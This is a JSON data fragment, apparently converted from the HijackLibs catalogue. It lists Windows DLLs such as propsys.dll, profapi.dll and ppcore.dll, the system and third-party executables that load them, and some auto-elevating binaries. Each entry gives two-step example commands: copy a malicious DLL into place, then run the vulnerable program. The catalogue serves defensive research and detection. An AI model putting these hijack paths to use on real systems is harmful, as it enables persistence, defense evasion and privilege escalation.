        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/pdh.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious peerdistsh.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\peerdistsh.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# peerdistsh.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-peerdistsh.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "peerdistsh.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "peerdistsh.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-peerdistsh",
    "name": "peerdistsh.dll",
    "namespace": "windows:dllhijack:peerdistsh",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/peerdistsh.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious pkeyhelper.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\pkeyhelper.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\sppsvc.exe\\\"\"\n\n# pkeyhelper.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\sppsvc.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-pkeyhelper.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "pkeyhelper.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "pkeyhelper.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-pkeyhelper",
    "name": "pkeyhelper.dll",
    "namespace": "windows:dllhijack:pkeyhelper",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/pkeyhelper.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious pla.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\pla.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\logman.exe\\\"\"\n\n# pla.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\logman.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-pla.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "pla.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "pla.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-pla",
    "name": "pla.dll",
    "namespace": "windows:dllhijack:pla",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/pla.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious playsndsrv.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\playsndsrv.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\sethc.exe\\\"\"\n\n# playsndsrv.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\sethc.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-playsndsrv.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "playsndsrv.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "playsndsrv.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-playsndsrv",
    "name": "playsndsrv.dll",
    "namespace": "windows:dllhijack:playsndsrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/playsndsrv.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious pnrpnsp.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\pnrpnsp.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\ftp.exe\\\"\"\n\n# pnrpnsp.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\ftp.exe (Environment Variable)\n- %SYSTEM32%\\hostname.exe (Environment Variable)\n- %SYSTEM32%\\stordiag.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-pnrpnsp.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "pnrpnsp.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "pnrpnsp.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-pnrpnsp",
    "name": "pnrpnsp.dll",
    "namespace": "windows:dllhijack:pnrpnsp",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/pnrpnsp.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious policymanager.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\policymanager.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\displayswitch.exe\\\"\"\n\n# policymanager.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\displayswitch.exe (Sideloading)\n- %SYSTEM32%\\easpolicymanagerbrokerhost.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\edpcleanup.exe (Sideloading)\n- %SYSTEM32%\\eduprintprov.exe (Sideloading)\n- %SYSTEM32%\\hvsievaluator.exe (Sideloading)\n- %SYSTEM32%\\mdmdiagnosticstool.exe (Sideloading)\n- %SYSTEM32%\\omadmclient.exe (Sideloading)\n- %SYSTEM32%\\settingsynchost.exe (Sideloading)\n- %SYSTEM32%\\workfolders.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-policymanager.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "policymanager.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "policymanager.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-policymanager",
    "name": "policymanager.dll",
    "namespace": "windows:dllhijack:policymanager",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/policymanager.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious polstore.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\polstore.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# polstore.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-polstore.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "polstore.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "polstore.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-polstore",
    "name": "polstore.dll",
    "namespace": "windows:dllhijack:polstore",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/polstore.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious powrprof.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\powrprof.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\fsquirt.exe\\\"\"\n\n# powrprof.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\fsquirt.exe (Sideloading)\n- %SYSTEM32%\\msinfo32.exe (Sideloading)\n- %SYSTEM32%\\printfilterpipelinesvc.exe (Sideloading)\n- %SYSTEM32%\\sfc.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-powrprof.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "powrprof.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "powrprof.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-powrprof",
    "name": "powrprof.dll",
    "namespace": "windows:dllhijack:powrprof",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/powrprof.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious ppcore.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Microsoft Office\\\\OFFICE%VERSION%\\\\ppcore.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Microsoft Office\\\\OFFICE%VERSION%\\\\Powerpnt.exe\\\"\"\n\n# ppcore.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\Microsoft Office\\OFFICE%VERSION%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Microsoft Office\\OFFICE%VERSION%\\Powerpnt.exe (Sideloading)\n- %PROGRAMFILES%\\Microsoft Office\\Root\\OFFICE%VERSION%\\Powerpnt.exe (Sideloading)\n- %PROGRAMFILES%\\Microsoft Office %VERSION%\\ClientX86\\Root\\Office%VERSION%\\Powerpnt.exe (Sideloading)\n- %PROGRAMFILES%\\Microsoft Office %VERSION%\\ClientX64\\Root\\Office%VERSION%\\Powerpnt.exe (Sideloading)\n\n**Acknowledgement:** Swachchhanda Shrawan Poudel\n",
    "_source": "windows-dllhijack-ppcore.md",
    "author": "Swachchhanda Shrawan Poudel",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "ppcore.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "ppcore.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-ppcore",
    "name": "ppcore.dll",
    "namespace": "windows:dllhijack:ppcore",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://research.checkpoint.com/2025/apt29-phishing-campaign/"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/d931078b63d94726d4be5dc1a00324275b53b935b77d3eed1712461f0c180164"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/ppcore.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious printui.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\printui.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\printui.exe\\\"\"\n\n# printui.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\printui.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-printui.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "printui.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "printui.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-dllhijack-printui",
    "name": "printui.dll",
    "namespace": "windows:dllhijack:printui",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/printui.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious prntvpt.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\prntvpt.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\printfilterpipelinesvc.exe\\\"\"\n\n# prntvpt.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\printfilterpipelinesvc.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-prntvpt.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "prntvpt.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "prntvpt.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-prntvpt",
    "name": "prntvpt.dll",
    "namespace": "windows:dllhijack:prntvpt",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/prntvpt.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious profapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\profapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certreq.exe\\\"\"\n\n# profapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certreq.exe (Sideloading)\n- %SYSTEM32%\\edpcleanup.exe (Sideloading)\n- %SYSTEM32%\\immersivetpmvscmgrsvr.exe (Sideloading)\n- %SYSTEM32%\\manage-bde.exe (Sideloading)\n- %SYSTEM32%\\mousocoreworker.exe (Sideloading)\n- %SYSTEM32%\\omadmclient.exe (Sideloading)\n- %SYSTEM32%\\provtool.exe (Sideloading)\n- %SYSTEM32%\\rmttpmvscmgrsvr.exe (Sideloading)\n- %SYSTEM32%\\tpmvscmgrsvr.exe (Sideloading)\n- %SYSTEM32%\\usocoreworker.exe (Sideloading)\n- %SYSTEM32%\\wwahost.exe (Sideloading)\n- %SYSTEM32%\\write.exe (Sideloading)\n- %PROGRAMFILES%\\Microsoft Deployment Toolkit\\Bin\\Microsoft.BDD.Catalog35.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n\n**Acknowledgement:** Will Summerhill\n",
    "_source": "windows-dllhijack-profapi.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "profapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "profapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-profapi",
    "name": "profapi.dll",
    "namespace": "windows:dllhijack:profapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "Reference",
        "url": "https://twitter.com/BSummerz/status/1860045985919205645"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/profapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious propsys.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\propsys.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bootim.exe\\\"\"\n\n# propsys.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bootim.exe (Sideloading)\n- %SYSTEM32%\\calc.exe (Sideloading)\n- %SYSTEM32%\\colorcpl.exe (Sideloading)\n- %SYSTEM32%\\compmgmtlauncher.exe (Sideloading)\n- %SYSTEM32%\\computerdefaults.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\customshellhost.exe (Sideloading)\n- %SYSTEM32%\\dpiscaling.exe (Sideloading)\n- %SYSTEM32%\\dsregcmd.exe (Sideloading)\n- %SYSTEM32%\\dxpserver.exe (Sideloading)\n- %SYSTEM32%\\fodhelper.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\fondue.exe (Sideloading)\n- %SYSTEM32%\\fxssvc.exe (Sideloading)\n- %SYSTEM32%\\fxsunatd.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\mobsync.exe (Sideloading)\n- %SYSTEM32%\\mspaint.exe (Sideloading)\n- %SYSTEM32%\\netplwiz.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\optionalfeatures.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\pinenrollmentbroker.exe (Sideloading)\n- %SYSTEM32%\\printbrmui.exe (Sideloading)\n- %SYSTEM32%\\printui.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\proximityuxhost.exe (Sideloading)\n- %SYSTEM32%\\quickassist.exe (Sideloading)\n- %SYSTEM32%\\rdpclip.exe (Sideloading)\n- %SYSTEM32%\\resmon.exe (Sideloading)\n- %SYSTEM32%\\sdclt.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\settingsynchost.exe (Sideloading)\n- %SYSTEM32%\\slui.exe (Sideloading)\n- %SYSTEM32%\\synchost.exe (Sideloading)\n- %SYSTEM32%\\systemsettingsadminflows.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\wfs.exe (Sideloading)\n- %SYSTEM32%\\wkspbroker.exe (Sideloading)\n- %SYSTEM32%\\workfolders.exe (Sideloading)\n- %SYSTEM32%\\wpnpinst.exe (Sideloading)\n- %SYSTEM32%\\write.exe (Sideloading)\n- %SYSTEM32%\\certreq.exe (Environment Variable)\n- %SYSTEM32%\\cleanmgr.exe (Environment Variable)\n- %SYSTEM32%\\control.exe (Environment Variable)\n- %SYSTEM32%\\ddodiag.exe (Environment Variable)\n- %SYSTEM32%\\dfrgui.exe (Environment Variable)\n- %SYSTEM32%\\explorer.exe (Environment Variable)\n- %SYSTEM32%\\fxscover.exe (Environment Variable)\n- %SYSTEM32%\\licensingdiag.exe (Environment Variable)\n- %SYSTEM32%\\msdt.exe (Environment Variable)\n- %SYSTEM32%\\notepad.exe (Environment Variable)\n- %SYSTEM32%\\powershell.exe (Environment Variable)\n- %SYSTEM32%\\presentationsettings.exe (Environment Variable)\n- %SYSTEM32%\\tabcal.exe (Environment Variable)\n- %SYSTEM32%\\verifier.exe (Environment Variable)\n- %PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft\\Edge\\Application\\msedge.exe (Environment Variable)\n- %PROGRAMFILES%\\Mozilla Firefox\\firefox.exe (Environment Variable)\n- %APPDATA%\\Zoom\\bin\\zoom.exe (Environment Variable)\n- %PROGRAMFILES%\\WindowsApps\\MicrosoftTeams%VERSION%\\msteams.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\excel.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\graph.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\msoev.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\msotd.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\onenote.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\outlook.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\powerpnt.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-propsys.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "propsys.dll — Sideloading, Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "propsys.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip",
      "requires-root"
    ],
    "id": "windows-dllhijack-propsys",
    "name": "propsys.dll",
    "namespace": "windows:dllhijack:propsys",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/propsys.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious protobuf.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\protobuf.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Volume2\\\\Volume2.exe\\\"\"\n\n# protobuf.dll\n\n**Vendor:** irzyxa\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Volume2\\Volume2.exe (Sideloading)\n\n**Acknowledgement:** Austin Worline\n",
    "_source": "windows-dllhijack-protobuf.md",
    "author": "Austin Worline",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "protobuf.dll — Sideloading hijacking (irzyxa)",
    "execution": {
      "template": "protobuf.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-protobuf",
    "name": "protobuf.dll",
    "namespace": "windows:dllhijack:protobuf",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.bluevoyant.com/blog/rift-brigantines-github-lures-deploy-malware"
      },
      {
        "label": "Reference",
        "url": "https://github.com/irzyxa/Volume2"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/protobuf.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious providers.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\providers.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\nodejs\\\\node.exe\\\"\"\n\n# providers.dll\n\n**Vendor:** npm\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\nodejs\\node.exe (Phantom)\n",
    "_source": "windows-dllhijack-providers.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "providers.dll — Phantom hijacking (npm)",
    "execution": {
      "template": "providers.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-providers",
    "name": "providers.dll",
    "namespace": "windows:dllhijack:providers",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.aquasec.com/cve-2022-32223-dll-hijacking"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/providers.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious proximitycommon.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\proximitycommon.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\proximityuxhost.exe\\\"\"\n\n# proximitycommon.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\proximityuxhost.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-proximitycommon.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "proximitycommon.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "proximitycommon.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-proximitycommon",
    "name": "proximitycommon.dll",
    "namespace": "windows:dllhijack:proximitycommon",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/proximitycommon.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
